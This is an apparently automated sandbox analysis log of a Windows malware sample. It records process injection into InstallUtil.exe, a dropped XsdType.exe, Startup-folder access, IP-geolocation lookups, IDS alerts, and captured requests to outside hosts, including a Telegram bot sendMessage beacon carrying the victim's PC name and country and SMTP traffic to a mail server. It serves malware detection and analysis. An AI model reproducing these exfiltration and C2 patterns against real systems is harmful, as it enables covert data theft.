Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdbSHA256e source: pbgjw8i8N7.exe, 00000000.00000002.1349861546.0000000003ACD000.00000004.00000800.00020000.00000000.sdmp, pbgjw8i8N7.exe, 00000000.00000002.1353607165.00000000054D0000.00000004.08000000.00040000.00000000.sdmp, pbgjw8i8N7.exe, 00000000.00000002.1349861546.0000000003A7C000.00000004.00000800.00020000.00000000.sdmp, XsdType.exe, 00000003.00000002.1478818577.0000000003BBB000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdb source: pbgjw8i8N7.exe, 00000000.00000002.1349861546.0000000003ACD000.00000004.00000800.00020000.00000000.sdmp, pbgjw8i8N7.exe, 00000000.00000002.1353607165.00000000054D0000.00000004.08000000.00040000.00000000.sdmp, pbgjw8i8N7.exe, 00000000.00000002.1349861546.0000000003A7C000.00000004.00000800.00020000.00000000.sdmp, XsdType.exe, 00000003.00000002.1478818577.0000000003BBB000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdbSHA256}Lq source: pbgjw8i8N7.exe, 00000000.00000002.1353290642.0000000005430000.00000004.08000000.00040000.00000000.sdmp, pbgjw8i8N7.exe, 00000000.00000002.1349861546.00000000039B9000.00000004.00000800.00020000.00000000.sdmp, XsdType.exe, 00000003.00000002.1478818577.0000000003A11000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdb source: pbgjw8i8N7.exe, 00000000.00000002.1353290642.0000000005430000.00000004.08000000.00040000.00000000.sdmp, pbgjw8i8N7.exe, 00000000.00000002.1349861546.00000000039B9000.00000004.00000800.00020000.00000000.sdmp, XsdType.exe, 00000003.00000002.1478818577.0000000003A11000.00000004.00000800.00020000.00000000.sdmp

Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\	Jump to behavior

Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Code function: 4x nop then mov dword ptr [ebp-20h], 00000000h	0_2_04E903C4
Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Code function: 4x nop then mov dword ptr [ebp-20h], 00000000h	0_2_04E903D0
Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Code function: 4x nop then jmp 0525428Bh	0_2_05254423
Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Code function: 4x nop then jmp 0525428Bh	0_2_052540A8
Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Code function: 4x nop then jmp 0525428Bh	0_2_05254098
Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Code function: 4x nop then jmp 0525428Bh	0_2_0525424E
Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Code function: 4x nop then jmp 0526DEB9h	0_2_0526DE49
Source: C:\Users\user\Desktop\pbgjw8i8N7.exe	Code function: 4x nop then jmp 0526DEB9h	0_2_0526DE58
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then mov ecx, dword ptr [ebp-38h]	1_2_00CE6B28
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then mov ecx, dword ptr [ebp-38h]	1_2_00CE7CA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then jmp 028DF5BDh	1_2_028DF420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then jmp 028DF5BDh	1_2_028DF68F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then jmp 028DF5BDh	1_2_028DF60C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then jmp 028DFDA0h	1_2_028DFAC1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then jmp 064B28EAh	1_2_064B2610
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then jmp 064B3040h	1_2_064B2C28
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	1_2_064B0673
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then jmp 064BF8F8h	1_2_064BF628
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then jmp 064BD908h	1_2_064BD638
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then jmp 064BDD98h	1_2_064BDAC8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then jmp 064BFD88h	1_2_064BFAB8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then jmp 064BE228h	1_2_064BDF58
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then jmp 064B3040h	1_2_064B2F6E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then jmp 064B0D0Dh	1_2_064B0B30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then jmp 064B16F8h	1_2_064B0B30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then jmp 064BE6B8h	1_2_064BE3E8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	1_2_064B0040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	1_2_064B0853
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then jmp 064BEB48h	1_2_064BE878
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then jmp 064B3040h	1_2_064B2C1A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then jmp 064BEFD8h	1_2_064BED08
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then jmp 064BF468h	1_2_064BF198
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then jmp 064BD478h	1_2_064BD1A8
Source: C:\Users\user\AppData\Roaming\XsdType.exe	Code function: 4x nop then mov dword ptr [ebp-20h], 00000000h	3_2_050603C4
Source: C:\Users\user\AppData\Roaming\XsdType.exe	Code function: 4x nop then mov dword ptr [ebp-20h], 00000000h	3_2_050603D0
Source: C:\Users\user\AppData\Roaming\XsdType.exe	Code function: 4x nop then jmp 052E428Bh	3_2_052E441B
Source: C:\Users\user\AppData\Roaming\XsdType.exe	Code function: 4x nop then jmp 052E428Bh	3_2_052E40A8
Source: C:\Users\user\AppData\Roaming\XsdType.exe	Code function: 4x nop then jmp 052E428Bh	3_2_052E4098
Source: C:\Users\user\AppData\Roaming\XsdType.exe	Code function: 4x nop then jmp 052E428Bh	3_2_052E424E
Source: C:\Users\user\AppData\Roaming\XsdType.exe	Code function: 4x nop then jmp 052FDEB9h	3_2_052FDE49
Source: C:\Users\user\AppData\Roaming\XsdType.exe	Code function: 4x nop then jmp 052FDEB9h	3_2_052FDE58
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then mov ecx, dword ptr [ebp-38h]	4_2_00626ADC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then mov ecx, dword ptr [ebp-38h]	4_2_00627E40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then jmp 0228F45Dh	4_2_0228F2C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then jmp 0228F45Dh	4_2_0228F4AC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then jmp 0228FC40h	4_2_0228F961
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then jmp 05E632C8h	4_2_05E62EB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then jmp 05E62CEAh	4_2_05E62A10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then jmp 05E6EFF0h	4_2_05E6ED20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then jmp 05E6E6D0h	4_2_05E6E400
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then jmp 05E6E240h	4_2_05E6DF70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	4_2_05E60673
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then jmp 05E6F910h	4_2_05E6F640
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then jmp 05E6D920h	4_2_05E6D650
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then jmp 05E632C8h	4_2_05E631F6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then jmp 05E6D490h	4_2_05E6D1C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then jmp 05E6F480h	4_2_05E6F1B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then jmp 05E6EB60h	4_2_05E6E890
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	4_2_05E60040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	4_2_05E60853
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then jmp 05E60D0Dh	4_2_05E60B30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then jmp 05E616F8h	4_2_05E60B30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then jmp 05E6DDB0h	4_2_05E6DAE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then jmp 05E6FDA0h	4_2_05E6FAD0

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 1810007 - Severity 1 - Joe Security ANOMALY Telegram Send Message : 192.168.2.5:49753 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810007 - Severity 1 - Joe Security ANOMALY Telegram Send Message : 192.168.2.5:49745 -> 149.154.167.220:443

Uses the Telegram API (likely for C&C communication)

Source: unknown

DNS query: name: api.telegram.org

Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:841618%0D%0ADate%20and%20Time:%2012/03/2025%20/%2023:06:52%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20841618%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:841618%0D%0ADate%20and%20Time:%2012/03/2025%20/%2005:49:32%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20841618%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View	IP Address: 46.175.148.58 46.175.148.58
Source: Joe Sandbox View	IP Address: 104.21.96.1 104.21.96.1
Source: Joe Sandbox View	IP Address: 104.21.96.1 104.21.96.1

Source: Joe Sandbox View	JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	DNS query: name: checkip.dyndns.org
Source: unknown	DNS query: name: reallyfreegeoip.org

Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:49728 -> 158.101.44.242:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:49715 -> 158.101.44.242:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:49716 -> 158.101.44.242:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:49712 -> 158.101.44.242:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49719 -> 104.21.96.1:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49748 -> 104.21.96.1:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49714 -> 104.21.96.1:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49729 -> 104.21.96.1:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49726 -> 104.21.96.1:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49750 -> 104.21.96.1:443

Source: global traffic

TCP traffic: 192.168.2.5:49751 -> 46.175.148.58:25

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: unknown	HTTPS traffic detected: 104.21.96.1:443 -> 192.168.2.5:49713 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 104.21.96.1:443 -> 192.168.2.5:49723 version: TLS 1.0

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:841618%0D%0ADate%20and%20Time:%2012/03/2025%20/%2023:06:52%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20841618%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:841618%0D%0ADate%20and%20Time:%2012/03/2025%20/%2005:49:32%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20841618%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic	DNS traffic detected: DNS query: reallyfreegeoip.org
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org
Source: global traffic	DNS traffic detected: DNS query: mail.iaa-airferight.com

